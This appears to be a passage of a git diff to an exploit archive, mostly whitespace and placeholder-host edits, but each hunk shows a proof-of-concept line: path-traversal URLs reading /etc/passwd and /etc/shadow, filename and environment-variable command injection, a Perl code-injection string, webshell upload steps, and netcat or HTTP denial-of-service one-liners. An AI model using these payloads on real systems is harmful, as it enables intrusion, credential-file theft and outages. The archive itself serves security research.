Manager for e-business 6.1.1 is vulnerable. -http://www.example.com/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd \ No newline at end of file +http://www.example.com/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/%uff0e%uff0e/etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/35386.txt b/platforms/linux/remote/35386.txt index d0f128d1c..1a9d334de 100755 --- a/platforms/linux/remote/35386.txt +++ b/platforms/linux/remote/35386.txt @@ -4,4 +4,4 @@ Logwatch is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue execute arbitrary code with superuser privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition. -% echo "fake" > â??/var/log/httpd/fakee;who;access_log.2â?? \ No newline at end of file +% echo "fake" > â??/var/log/httpd/fakee;who;access_log.2â?? \ No newline at end of file diff --git a/platforms/linux/remote/35554.txt b/platforms/linux/remote/35554.txt index 4eda367a9..d31cef11a 100755 --- a/platforms/linux/remote/35554.txt +++ b/platforms/linux/remote/35554.txt @@ -8,4 +8,4 @@ The following example input is available: > perl -Te 'use Scalar::Util qw(tainted); $t=$0; $u=lc($t); printf("%d,%d\n",tainted($t),tainted($u))' -> perl -Te 'use Scalar::Util qw(tainted); $t=$0; $u=lc($t); printf("%d,%d\n",tainted($t),tainted($u))' \ No newline at end of file +> perl -Te 'use Scalar::Util qw(tainted); $t=$0; $u=lc($t); printf("%d,%d\n",tainted($t),tainted($u))' \ No newline at end of file diff --git a/platforms/linux/remote/35606.txt b/platforms/linux/remote/35606.txt index 4538433f4..f348f50de 100755 --- a/platforms/linux/remote/35606.txt +++ b/platforms/linux/remote/35606.txt @@ -8,4 +8,4 @@ MIT Kerberos 5 1.7 and later are vulnerable. NOTE (April 13, 2011): This BID was originally titled 'MIT Kerberos kadmind Version String Processing Remote Denial Of Service Vulnerability', but has been renamed to better reflect the nature of the issue. -# nmap -n -sV krb01 \ No newline at end of file +# nmap -n -sV krb01 \ No newline at end of file diff --git a/platforms/linux/remote/35644.txt b/platforms/linux/remote/35644.txt index 299b79c69..255838138 100755 --- a/platforms/linux/remote/35644.txt +++ b/platforms/linux/remote/35644.txt @@ -7,4 +7,4 @@ Exploiting the issues can allow an attacker to obtain sensitive information that Viola DVR VIO-4/1000 is vulnerable; other products may also be affected. http://www.example.com/cgi-bin/wappwd?FILEFAIL=../../../etc/passwd -http://www.example.com/cgi-bin/wapopen?FILECAMERA=../../../etc/passwd \ No newline at end of file +http://www.example.com/cgi-bin/wapopen?FILECAMERA=../../../etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/35785.txt b/platforms/linux/remote/35785.txt index a50104208..c2077f4f7 100755 --- a/platforms/linux/remote/35785.txt +++ b/platforms/linux/remote/35785.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary shell commands in the co Versions prior to klibc 1.5.22 are vulnerable. -DNSDOMAIN="\\\"\$(echo owned; touch /tmp/owned)" \ No newline at end of file +DNSDOMAIN="\\\"\$(echo owned; touch /tmp/owned)" \ No newline at end of file diff --git a/platforms/linux/remote/35799.txt b/platforms/linux/remote/35799.txt index 33500b002..ebdaade67 100755 --- a/platforms/linux/remote/35799.txt +++ b/platforms/linux/remote/35799.txt @@ -6,4 +6,4 @@ A remote attacker could exploit this vulnerability using directory-traversal str Vordel Gateway 6.0.3 is vulnerable; other versions may also be affected. -http://www.example.com:8090/manager/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow \ No newline at end of file +http://www.example.com:8090/manager/..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow \ No newline at end of file diff --git a/platforms/linux/remote/35810.txt b/platforms/linux/remote/35810.txt index aca56e930..3cf5e61dd 100755 --- a/platforms/linux/remote/35810.txt +++ b/platforms/linux/remote/35810.txt @@ -11,4 +11,4 @@ An attacker can exploit these issues by enticing an unsuspecting user into openi A successful attack can allow attacker-supplied code to run in the context of the application using the vulnerable library or can cause a denial-of-service condition. -//@*/preceding::node()/ancestor::node()/ancestor::foo['foo'] \ No newline at end of file +//@*/preceding::node()/ancestor::node()/ancestor::foo['foo'] \ No newline at end of file diff --git a/platforms/linux/remote/36199.txt b/platforms/linux/remote/36199.txt index 7a053cbe3..4f80cebc8 100755 --- a/platforms/linux/remote/36199.txt +++ b/platforms/linux/remote/36199.txt @@ -6,4 +6,4 @@ Remote attackers can exploit this issue to run arbitrary code in the context of Digest versions prior to 1.17 are affected. -Digest->new("::MD5lprint 'ownaide\n';exit(1);"); \ No newline at end of file +Digest->new("::MD5lprint 'ownaide\n';exit(1);"); \ No newline at end of file diff --git a/platforms/linux/remote/36352.txt b/platforms/linux/remote/36352.txt index fd75092a1..962b34639 100755 --- a/platforms/linux/remote/36352.txt +++ b/platforms/linux/remote/36352.txt @@ -7,4 +7,4 @@ Successful exploits will allow attackers to bypass certain security restrictions The following example patterns are available: RewriteRule ^(.*) http://www.example.com$1 -ProxyPassMatch ^(.*) http://www.example.com$1 \ No newline at end of file +ProxyPassMatch ^(.*) http://www.example.com$1 \ No newline at end of file diff --git a/platforms/linux/remote/36663.txt b/platforms/linux/remote/36663.txt index 9a644a119..4f3dbf10b 100755 --- a/platforms/linux/remote/36663.txt +++ b/platforms/linux/remote/36663.txt @@ -5,4 +5,4 @@ Apache HTTP Server is prone to a security-bypass vulnerability. Successful exploits will allow attackers to bypass certain security restrictions and obtain sensitive information about running web applications. RewriteRule ^(.*) http://www.example.com$1 -ProxyPassMatch ^(.*) http://www.example.com$1 \ No newline at end of file +ProxyPassMatch ^(.*) http://www.example.com$1 \ No newline at end of file diff --git a/platforms/linux/remote/37007.txt b/platforms/linux/remote/37007.txt index 40ea2bb8f..efb52435b 100755 --- a/platforms/linux/remote/37007.txt +++ b/platforms/linux/remote/37007.txt @@ -10,4 +10,4 @@ https://www.example.com/compose.php?func=renameattach&unique=/..././..././..././ https://www.example.com/compose.php?func=renameattach&unique=1.txt%00&Attachment[]=/../../../../../../../../../etc/passwd -https://www.example.com/mime.php?file=%0A/../../../../../../../../../etc/passwd&name=positive.html \ No newline at end of file +https://www.example.com/mime.php?file=%0A/../../../../../../../../../etc/passwd&name=positive.html \ No newline at end of file diff --git a/platforms/linux/remote/37889.txt b/platforms/linux/remote/37889.txt index be15756aa..1ebb9bd1a 100755 --- a/platforms/linux/remote/37889.txt +++ b/platforms/linux/remote/37889.txt @@ -4,4 +4,4 @@ An attacker can exploit these issues to obtain sensitive information, to upload YingZhiPython 1.9 is vulnerable; other versions may also be affected. -ftp://www.example.com/../../../../../../../private/etc/passwd \ No newline at end of file +ftp://www.example.com/../../../../../../../private/etc/passwd \ No newline at end of file diff --git a/platforms/linux/remote/38203.txt b/platforms/linux/remote/38203.txt index 1c795810d..7f0d1301e 100755 --- a/platforms/linux/remote/38203.txt +++ b/platforms/linux/remote/38203.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to view arbitrary files within the Schmid Watson Management Console 4.11.2.G is vulnerable; other versions may also be affected. -GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd http/1.1 \ No newline at end of file +GET /%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd http/1.1 \ No newline at end of file diff --git a/platforms/linux/remote/38522.txt b/platforms/linux/remote/38522.txt index bb8e3ecdd..011b0d56a 100755 --- a/platforms/linux/remote/38522.txt +++ b/platforms/linux/remote/38522.txt @@ -6,4 +6,4 @@ Exploiting this issue will allow an attacker to view arbitrary local files withi www.example.com/../../../../../../../../etc/passwd -www.example.com/../../../../../../../../etc/shadow \ No newline at end of file +www.example.com/../../../../../../../../etc/shadow \ No newline at end of file diff --git a/platforms/linux/remote/40232.py b/platforms/linux/remote/40232.py index 0f40a50b1..9716b8f40 100755 --- a/platforms/linux/remote/40232.py +++ b/platforms/linux/remote/40232.py @@ -467,4 +467,4 @@ if __name__ == '__main__': time.sleep(0.01) sys.exit(1) -#EOF \ No newline at end of file +#EOF \ No newline at end of file diff --git a/platforms/linux/remote/4362.pl b/platforms/linux/remote/4362.pl index 34d6110b2..970ab7bf7 100755 --- a/platforms/linux/remote/4362.pl +++ b/platforms/linux/remote/4362.pl @@ -11,7 +11,7 @@ sub usage print "----------------------------------------------------- - -----------\n"; print "Web Oddity Web Server 0.09b Directory Transversal Vulnerability\n"; print "\n"; - print "usage: $0 www.server\n"; + print "usage: $0 www.site.com\n"; print "------------------------------------------------- Katatafish-----\n"; exit (); } diff --git a/platforms/linux/remote/74.c b/platforms/linux/remote/74.c index 7e417be02..e39274ca0 100755 --- a/platforms/linux/remote/74.c +++ b/platforms/linux/remote/74.c @@ -1,4 +1,4 @@ -/* + /* ** ** wu-ftpd v2.6.2 off-by-one remote 0day exploit. ** diff --git a/platforms/linux/remote/940.c b/platforms/linux/remote/940.c index 2444252b7..6fb058947 100755 --- a/platforms/linux/remote/940.c +++ b/platforms/linux/remote/940.c @@ -1,4 +1,4 @@ -/*[ sumus[v0.2.2]: (httpd) remote buffer overflow exploit. ]**** + /*[ sumus[v0.2.2]: (httpd) remote buffer overflow exploit. ]**** * * * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) * * * diff --git a/platforms/linux/webapps/10262.txt b/platforms/linux/webapps/10262.txt index 2971a7138..342c46fc7 100755 --- a/platforms/linux/webapps/10262.txt +++ b/platforms/linux/webapps/10262.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] diff --git a/platforms/linux/webapps/10263.txt b/platforms/linux/webapps/10263.txt index 8eb79c323..f8d7adf08 100755 --- a/platforms/linux/webapps/10263.txt +++ b/platforms/linux/webapps/10263.txt @@ -1,4 +1,4 @@ -[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] + [ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] diff --git a/platforms/linux/webapps/10429.txt b/platforms/linux/webapps/10429.txt index 28abf7bbe..5aa6a3943 100755 --- a/platforms/linux/webapps/10429.txt +++ b/platforms/linux/webapps/10429.txt @@ -17,7 +17,7 @@ | | 1- Uoload your shell format "shell.php" | -| 2- Go to The Pwd server/path/rep_secret/ +| 2- Go to The Pwd target.com/path/rep_secret/ | | 3- Found name your shell | diff --git a/platforms/linux/webapps/10430.txt b/platforms/linux/webapps/10430.txt index 6a3fe1f10..f573d2866 100755 --- a/platforms/linux/webapps/10430.txt +++ b/platforms/linux/webapps/10430.txt @@ -16,13 +16,13 @@ | | Exp : | -| 1- Go to server/[path]/upload_multiple_js.php +| 1- Go to target.com/[path]/upload_multiple_js.php | | 2- Click On "Parcourir" | | 3- Upload Your Shell Format "shell.php.rar" | -| 4- Pwd Your Shell [server/[path]/uploads/tests/shell.php.rar] +| 4- Pwd Your Shell [target.com/[path]/uploads/tests/shell.php.rar] | ############################################################## | diff --git a/platforms/linux/webapps/14177.txt b/platforms/linux/webapps/14177.txt index f2fa68869..bf8a21637 100755 --- a/platforms/linux/webapps/14177.txt +++ b/platforms/linux/webapps/14177.txt @@ -91,4 +91,4 @@ Changelog Web: http://www.zeroscience.mk -e-mail: lab@zeroscience.mk \ No newline at end of file +e-mail: lab@zeroscience.mk \ No newline at end of file diff --git a/platforms/linux/webapps/28653.txt b/platforms/linux/webapps/28653.txt index 21db96600..a7ca8bdc6 100755 --- a/platforms/linux/webapps/28653.txt +++ b/platforms/linux/webapps/28653.txt @@ -1,4 +1,4 @@ -- Affected Vendor: http://sourceforge.net/projects/mod-acct/files/ + - Affected Vendor: http://sourceforge.net/projects/mod-acct/files/ - Affected Software: mod_accounting - Affected Version: 0.5. Other earlier versions may be affected. - Issue type: Blind SQL injection diff --git a/platforms/linux/webapps/40171.txt b/platforms/linux/webapps/40171.txt index e4ae1ea9a..d7b484260 100755 --- a/platforms/linux/webapps/40171.txt +++ b/platforms/linux/webapps/40171.txt @@ -1,4 +1,4 @@ -_ _ _ _ _ _ _ _ _ _ + _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ diff --git a/platforms/linux_mips/shellcode/18227.c b/platforms/linux_mips/shellcode/18227.c index a4f0c69a5..27862d168 100755 --- a/platforms/linux_mips/shellcode/18227.c +++ b/platforms/linux_mips/shellcode/18227.c @@ -21,4 +21,4 @@ void main(void) printf("size: %d\n", sizeof(sc)); s = sc; s(); -} \ No newline at end of file +} \ No newline at end of file diff --git a/platforms/multiple/dos/10077.txt b/platforms/multiple/dos/10077.txt index b0b79216d..3e269b44c 100755 --- a/platforms/multiple/dos/10077.txt +++ b/platforms/multiple/dos/10077.txt @@ -12,4 +12,4 @@ OpenLDAP 2.3.39 is vulnerable to this issue; other versions may also be affected This issue is related to one described in BID 26245 (OpenLDAP Multiple Remote Denial of Service Vulnerabilities), identified by CVE-2007-6698. -ldapmodrdn -x -h :389 -D <dn> -w <pw> -e \noop ou=test,dc=my-domain,dc=com ou=test2 \ No newline at end of file +ldapmodrdn -x -h :389 -D <dn> -w <pw> -e \noop ou=test,dc=my-domain,dc=com ou=test2 \ No newline at end of file diff --git a/platforms/multiple/dos/10229.txt b/platforms/multiple/dos/10229.txt index 6ab51214d..80ffcde3b 100755 --- a/platforms/multiple/dos/10229.txt +++ b/platforms/multiple/dos/10229.txt @@ -156,4 +156,4 @@ POC: import imageop s = '' -imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536) \ No newline at end of file +imageop.crop(s, 1, 65536, 65536, 0, 0, 65536, 65536) \ No newline at end of file diff --git a/platforms/multiple/dos/11529.txt b/platforms/multiple/dos/11529.txt index 0a252715a..f0d10a727 100755 --- a/platforms/multiple/dos/11529.txt +++ b/platforms/multiple/dos/11529.txt @@ -1,4 +1,4 @@ -( , ) (, + ( , ) (, . `.' ) ('. ', ). , ('. ( ) ( (_,) .`), ) _ _, diff --git a/platforms/multiple/dos/12188.txt b/platforms/multiple/dos/12188.txt index 970c6b499..9114f3c10 100755 --- a/platforms/multiple/dos/12188.txt +++ b/platforms/multiple/dos/12188.txt @@ -98,4 +98,4 @@ posted regularly on our website. Contact: research [at] dsecrg [dot] com -http://www.dsecrg.com \ No newline at end of file +http://www.dsecrg.com \ No newline at end of file diff --git a/platforms/multiple/dos/15341.html b/platforms/multiple/dos/15341.html index 46d2b00f9..b8a1e3057 100755 --- a/platforms/multiple/dos/15341.html +++ b/platforms/multiple/dos/15341.html @@ -31,4 +31,4 @@ Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 } </script> <button onclick="crashme();">Crash Me!</button> -</body></html> \ No newline at end of file +</body></html> \ No newline at end of file diff --git a/platforms/multiple/dos/16108.txt b/platforms/multiple/dos/16108.txt index 35a5da3bb..d3f5f2ce3 100755 --- a/platforms/multiple/dos/16108.txt +++ b/platforms/multiple/dos/16108.txt @@ -10,4 +10,4 @@ The following proof-of-concept commands are available: 1. echo -ne '<foo\0crashme' | dd conv=notrunc bs=1 seek=877862 \ of=refined-australia-blu720p-sample.mkv -2. vlc --sub-language English refined-australia-blu720p-sample.mkv \ No newline at end of file +2. vlc --sub-language English refined-australia-blu720p-sample.mkv \ No newline at end of file diff --git a/platforms/multiple/dos/1819.txt b/platforms/multiple/dos/1819.txt index 8247d03af..ac99bfc08 100755 --- a/platforms/multiple/dos/1819.txt +++ b/platforms/multiple/dos/1819.txt @@ -1,4 +1,4 @@ -Luigi Auriemma + Luigi Auriemma ############################################################################## diff --git a/platforms/multiple/dos/19225.txt b/platforms/multiple/dos/19225.txt index 3fe309cca..9f2871396 100755 --- a/platforms/multiple/dos/19225.txt +++ b/platforms/multiple/dos/19225.txt @@ -13,4 +13,4 @@ One an attacker has access to on such machine, using Compaq's HTTP Auto-Discover The web agent service also appears to be vulnerable a a denial of service. By sending it a request for over 223 bytes long ("AAAA...") the service will fail with an access violation. http://vulnerable-NT.com:2301/../../../winnt/repair/sam._ -http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf \ No newline at end of file +http://vulnerable-Netware.com:2301/../../../system/ldremote.ncf \ No newline at end of file diff --git a/platforms/multiple/dos/19230.txt b/platforms/multiple/dos/19230.txt index de5f555cf..5612df231 100755 --- a/platforms/multiple/dos/19230.txt +++ b/platforms/multiple/dos/19230.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/288/info Servers running PCAnywhere32 with TCP/IP networking are subject to a Denial of Service attack that will hang the server at 100% CPU utilization. A malicious user may initiate this DoS by connecting to tcp port 5631 on the PCAnywhere server input a large amount of data when prompted with "Please press <Enter>". -Connect to tcp 5631. At the Please press <Enter> prompt, transfer a large amount of data to the PCAnywhere server. This will peg the CPU utilization at 100%. \ No newline at end of file +Connect to tcp 5631. At the Please press <Enter> prompt, transfer a large amount of data to the PCAnywhere server. This will peg the CPU utilization at 100%. \ No newline at end of file diff --git a/platforms/multiple/dos/19368.sh b/platforms/multiple/dos/19368.sh index 884f403dc..3fa37347e 100755 --- a/platforms/multiple/dos/19368.sh +++ b/platforms/multiple/dos/19368.sh @@ -20,4 +20,4 @@ text of message . 250 Message received OK. quit -221 GoodBye \ No newline at end of file +221 GoodBye \ No newline at end of file diff --git a/platforms/multiple/dos/19377.txt b/platforms/multiple/dos/19377.txt index 3e2f43fd9..5ddfaa524 100755 --- a/platforms/multiple/dos/19377.txt +++ b/platforms/multiple/dos/19377.txt @@ -7,4 +7,4 @@ Telnet to target machine, port 143 * OK IMAP4 Server (IMail 4.06) X LOGIN glob1 glob2 -Where glob1 is 1200 characters and glob2 is 1300 characters. \ No newline at end of file +Where glob1 is 1200 characters and glob2 is 1300 characters. \ No newline at end of file diff --git a/platforms/multiple/dos/19379.txt b/platforms/multiple/dos/19379.txt index e0085c5e5..2394045d4 100755 --- a/platforms/multiple/dos/19379.txt +++ b/platforms/multiple/dos/19379.txt @@ -7,4 +7,4 @@ Telnet to target machine, port 8181 Send: glob1 hit enter twice -Where glob1 is 2045 characters. \ No newline at end of file +Where glob1 is 2045 characters. \ No newline at end of file diff --git a/platforms/multiple/dos/19382.txt b/platforms/multiple/dos/19382.txt index 722805cc2..4de416df6 100755 --- a/platforms/multiple/dos/19382.txt +++ b/platforms/multiple/dos/19382.txt @@ -6,4 +6,4 @@ Telnet to target machine, port 43 Send glob1 -Where glob1 is 1000 characters. \ No newline at end of file +Where glob1 is 1000 characters. \ No newline at end of file diff --git a/platforms/multiple/dos/19457.txt b/platforms/multiple/dos/19457.txt index cfd97a1e4..b2b064b83 100755 --- a/platforms/multiple/dos/19457.txt +++ b/platforms/multiple/dos/19457.txt @@ -12,4 +12,4 @@ Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) ...10,000 lines Host: aaaaaaaaaaaaaaaaaaaaaaa....(200 bytes) -I sent twice above request sets. Then somehow victim IIS got memory leak after these requests. Of course, it can not respond any request any more. If you try this, you should see memory increase through performance monitor. You would see memory increase even after those requests finished already. It will stop when you got shortage of virtual memory. After that, you might not be able to restart web service and you would restart computer. I tried this against Japanese and English version of Windows NT. \ No newline at end of file +I sent twice above request sets. Then somehow victim IIS got memory leak after these requests. Of course, it can not respond any request any more. If you try this, you should see memory increase through performance monitor. You would see memory increase even after those requests finished already. It will stop when you got shortage of virtual memory. After that, you might not be able to restart web service and you would restart computer. I tried this against Japanese and English version of Windows NT. \ No newline at end of file diff --git a/platforms/multiple/dos/19536.txt b/platforms/multiple/dos/19536.txt index 1038be8e2..fa8b04dab 100755 --- a/platforms/multiple/dos/19536.txt +++ b/platforms/multiple/dos/19536.txt @@ -8,7 +8,7 @@ A security hole exists in the nph-test-cgi script included in most UNIX based Wo This is a bug with the nph-test-cgi script and _not_ the server itself. -Enter the URL: <http://yourwebserver/cgi-bin/nph-test-cgi?*> +Enter the URL: <http://yourwebserver.com/cgi-bin/nph-test-cgi?*> -Replace <yourwebserver> with the hostname of a server running a web -daemon near you. \ No newline at end of file +Replace <yourwebserver.com> with the hostname of a server running a web +daemon near you. \ No newline at end of file diff --git a/platforms/multiple/dos/19965.txt b/platforms/multiple/dos/19965.txt index 6b83cdeba..bd09f02a5 100755 --- a/platforms/multiple/dos/19965.txt +++ b/platforms/multiple/dos/19965.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1246/info By default JetAdmin Web Interface Server listens on port 8000. If a malformed URL request is sent to port 8000 this will cause the server services to stop responding. The service must be stopped and restarted to regain normal functionality. -http://target:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd:GetProfile(new_list,__null,__null,$ \ No newline at end of file +http://target:8000/plugins/hpjwja/script/devices_list.hts?&obj=Httpd:GetProfile(new_list,__null,__null,$ \ No newline at end of file diff --git a/platforms/multiple/dos/19977.txt b/platforms/multiple/dos/19977.txt index d35f626c2..ca25ab6c7 100755 --- a/platforms/multiple/dos/19977.txt +++ b/platforms/multiple/dos/19977.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/1288/info RealServer 7.0 will crash if it receives a request for a specific file with an unspecified variable value. -http://targetIP:port/viewsource/template.html? \ No newline at end of file +http://targetIP:port/viewsource/template.html? \ No newline at end of file diff --git a/platforms/multiple/dos/19996.txt b/platforms/multiple/dos/19996.txt index fb5fef990..aad049b25 100755 --- a/platforms/multiple/dos/19996.txt +++ b/platforms/multiple/dos/19996.txt @@ -8,4 +8,4 @@ Restarting the application would be required in order to regain normal functiona The Administrator login page can be typically accessed via: http://target/cfide/administrator/index.cfm -Modify the field size and POST action in the HTML tags to allow for the input of a character string consisting of over 40 000 characters. \ No newline at end of file +Modify the field size and POST action in the HTML tags to allow for the input of a character string consisting of over 40 000 characters. \ No newline at end of file diff --git a/platforms/multiple/dos/20229.txt b/platforms/multiple/dos/20229.txt index b3408cf5c..3376a83aa 100755 --- a/platforms/multiple/dos/20229.txt +++ b/platforms/multiple/dos/20229.txt @@ -8,4 +8,4 @@ Host: xxxxxxxxxxxxxxxxxxxxxxxx(1092+ characters) resulted in the following IBMHTTPD log entry: [Fri May 26 12:00:54 2000] [notice] child pid 11306 exit signal Segmentation -Fault (11) \ No newline at end of file +Fault (11) \ No newline at end of file diff --git a/platforms/multiple/dos/20239.txt b/platforms/multiple/dos/20239.txt index 98c25a1ea..fc2dc8522 100755 --- a/platforms/multiple/dos/20239.txt +++ b/platforms/multiple/dos/20239.txt @@ -6,4 +6,4 @@ HP Openview Node Manager can be compromised due to an unchecked buffer. By sendi Successful exploitation, depending on the data entered, will allow the execution of arbitrary code. -http://target/OvCgi/OpenView5.exe?Context=Snmp&Action=Snmp&Host=&Oid=<string of characters consisting of 136 bytes> \ No newline at end of file +http://target/OvCgi/OpenView5.exe?Context=Snmp&Action=Snmp&Host=&Oid=<string of characters consisting of 136 bytes> \ No newline at end of file diff --git a/platforms/multiple/dos/20531.txt b/platforms/multiple/dos/20531.txt index 9d62a0d25..3c6b1047b 100755 --- a/platforms/multiple/dos/20531.txt +++ b/platforms/multiple/dos/20531.txt @@ -6,4 +6,4 @@ Both IBM HTTP Server and Websphere are subject to a denial of service. This is c GET / HTTP/1.0\r\nuser-agent: 20000xnull\r\n\r\n -This request must be made multiple times before the system will freeze. \ No newline at end of file +This request must be made multiple times before the system will freeze. \ No newline at end of file diff --git a/platforms/multiple/dos/20534.txt b/platforms/multiple/dos/20534.txt index 02db1b323..a3ca5e280 100755 --- a/platforms/multiple/dos/20534.txt +++ b/platforms/multiple/dos/20534.txt @@ -10,4 +10,4 @@ Make to connections to the irc server second being the clone of other. On second ConferenceRoom 1.8.2: -"/ns buddy on" can't run, cuz professional edt. can't support "buddy" command. Register it one channel, and type it commands "/ns set authorize chanlists on", "/cs aop <#ChannelName> add <NickName>", "/ns auth accept 1". and the services crashes. \ No newline at end of file +"/ns buddy on" can't run, cuz professional edt. can't support "buddy" command. Register it one channel, and type it commands "/ns set authorize chanlists on", "/cs aop <#ChannelName> add <NickName>", "/ns auth accept 1". and the services crashes. \ No newline at end of file diff --git a/platforms/multiple/dos/20610.txt b/platforms/multiple/dos/20610.txt index de68e76ea..ea7d97c5c 100755 --- a/platforms/multiple/dos/20610.txt +++ b/platforms/multiple/dos/20610.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/2337/info A denial of service condition exists in the JRun web application server. Requesting multiple malformed URLs by way of the java servlet, will cause the JRun application server to stop responding. -http://target/servlet/........... (many "."s) \ No newline at end of file +http://target/servlet/........... (many "."s) \ No newline at end of file diff --git a/platforms/multiple/dos/20659.txt b/platforms/multiple/dos/20659.txt index 997bf39d1..d93353334 100755 --- a/platforms/multiple/dos/20659.txt +++ b/platforms/multiple/dos/20659.txt @@ -21,4 +21,4 @@ Password: ftp> ls .. 200 Port command successful. 550 Opening ASCII mode data connection for file list. (/..) --> ftp get:Connection reset by peer \ No newline at end of file +-> ftp get:Connection reset by peer \ No newline at end of file diff --git a/platforms/multiple/dos/20792.txt b/platforms/multiple/dos/20792.txt index 034a52eb9..14488a639 100755 --- a/platforms/multiple/dos/20792.txt +++ b/platforms/multiple/dos/20792.txt @@ -4,4 +4,4 @@ Mercury MTA is a mail-transfer agent available for Novell NetWare and Windows NT Because the overflow occurs in an authentication command parser, unauthenticated remote users can trigger the overflow. It is unknown whether the overflow can lead to arbitrary code execution, but proof-of-concept code is available that will crash the NetWare server, requiring a reboot. -perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110 \ No newline at end of file +perl -e 'print "APOP " . "a"x2048 . " " . "a"x2048 . "\r\n"' | nc mercury_host 110 \ No newline at end of file diff --git a/platforms/multiple/dos/20827.pl b/platforms/multiple/dos/20827.pl index 54cfb6b17..ccf2b9854 100755 --- a/platforms/multiple/dos/20827.pl +++ b/platforms/multiple/dos/20827.pl @@ -14,7 +14,7 @@ use Socket; die "$0 - Stops Virtual DNS Server 1.0. written by nemesystm of the DHC http://dhcorp.cjb.net - neme-dhc\@hushmail.com -usage: perl $0 server\n" if !defined $ARGV[0]; +usage: perl $0 target.com\n" if !defined $ARGV[0]; for ($count = 0; $count <= 3; $count++) { $serverIP = inet_aton($ARGV[0]); diff --git a/platforms/multiple/dos/21041.txt b/platforms/multiple/dos/21041.txt index 8639c3884..3d331ed79 100755 --- a/platforms/multiple/dos/21041.txt +++ b/platforms/multiple/dos/21041.txt @@ -10,4 +10,4 @@ Post 100+ IMG Tags, each with a unique 'mailto:' link. <img src="mailto:johndoe1@example.com"> <img src="mailto:johndoe2@example.com"> -etc. \ No newline at end of file +etc. \ No newline at end of file diff --git a/platforms/multiple/dos/21042.txt b/platforms/multiple/dos/21042.txt index 6ca12ad6c..3a079c532 100755 --- a/platforms/multiple/dos/21042.txt +++ b/platforms/multiple/dos/21042.txt @@ -4,4 +4,4 @@ Quake3 Arena Server is a software package designed to host multiple Quake 3 play A vulnerability exists in this software that can allow a malicious user to remotely crash a Quake 3 Server. Execution of arbitrary code may be possible as well. -perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u 1.1.1.1 \ No newline at end of file +perl -wle 'printf("%c%c%c%c%s",255,255,255,255,"connectre")' | nc -u 1.1.1.1 \ No newline at end of file diff --git a/platforms/multiple/dos/21181.txt b/platforms/multiple/dos/21181.txt index c74375c78..19f1827eb 100755 --- a/platforms/multiple/dos/21181.txt +++ b/platforms/multiple/dos/21181.txt @@ -10,4 +10,4 @@ Malicious webmasters may construct webpages which exploit this vulnerability. for(i=0;i<100000000;i++) { document.write("<img src=http://fakehost.com/"+i+".gif>"); } -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/multiple/dos/21213.txt b/platforms/multiple/dos/21213.txt index f127a6807..21e292325 100755 --- a/platforms/multiple/dos/21213.txt +++ b/platforms/multiple/dos/21213.txt @@ -4,4 +4,4 @@ Snort is a network intrusion detection system (IDS). It is originally written fo An error exists in some versions of Snort. If a maliciously constructed ICMP packet is received, the daemon will crash. This is caused because Snort erroneously defines the minimum ICMP header size as 8 bytes. A restart will be required to regain normally functionality. -ping -c1 -s1 host \ No newline at end of file +ping -c1 -s1 host \ No newline at end of file diff --git a/platforms/multiple/dos/21575.txt b/platforms/multiple/dos/21575.txt index ef8c49f69..e16445e33 100755 --- a/platforms/multiple/dos/21575.txt +++ b/platforms/multiple/dos/21575.txt @@ -6,4 +6,4 @@ In a regular .htaccess file: SetEnv DATE_LOCALE "X" -where the character X represents a string of 12288 bytes. \ No newline at end of file +where the character X represents a string of 12288 bytes. \ No newline at end of file diff --git a/platforms/multiple/dos/21782.txt b/platforms/multiple/dos/21782.txt index b1169ef77..6174945a2 100755 --- a/platforms/multiple/dos/21782.txt +++ b/platforms/multiple/dos/21782.txt @@ -4,4 +4,4 @@ The Oracle TNS Listener program is a remote connectivity service for Oracle Data Under some circumstances, it may be possible for a remote user to crash TNS Listener service. By connecting to the service, and issuing the SERVICE_CURLOAD command, the service becomes unstable. It has been reported that this will cause the listenering to stop responding to connections, and also crash after the command is issued. -"(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))" \ No newline at end of file +"(CONNECT_DATA=(COMMAND=SERVICE_CURLOAD))" \ No newline at end of file diff --git a/platforms/multiple/dos/21911.txt b/platforms/multiple/dos/21911.txt index 6f67f1163..8a3d14166 100755 --- a/platforms/multiple/dos/21911.txt +++ 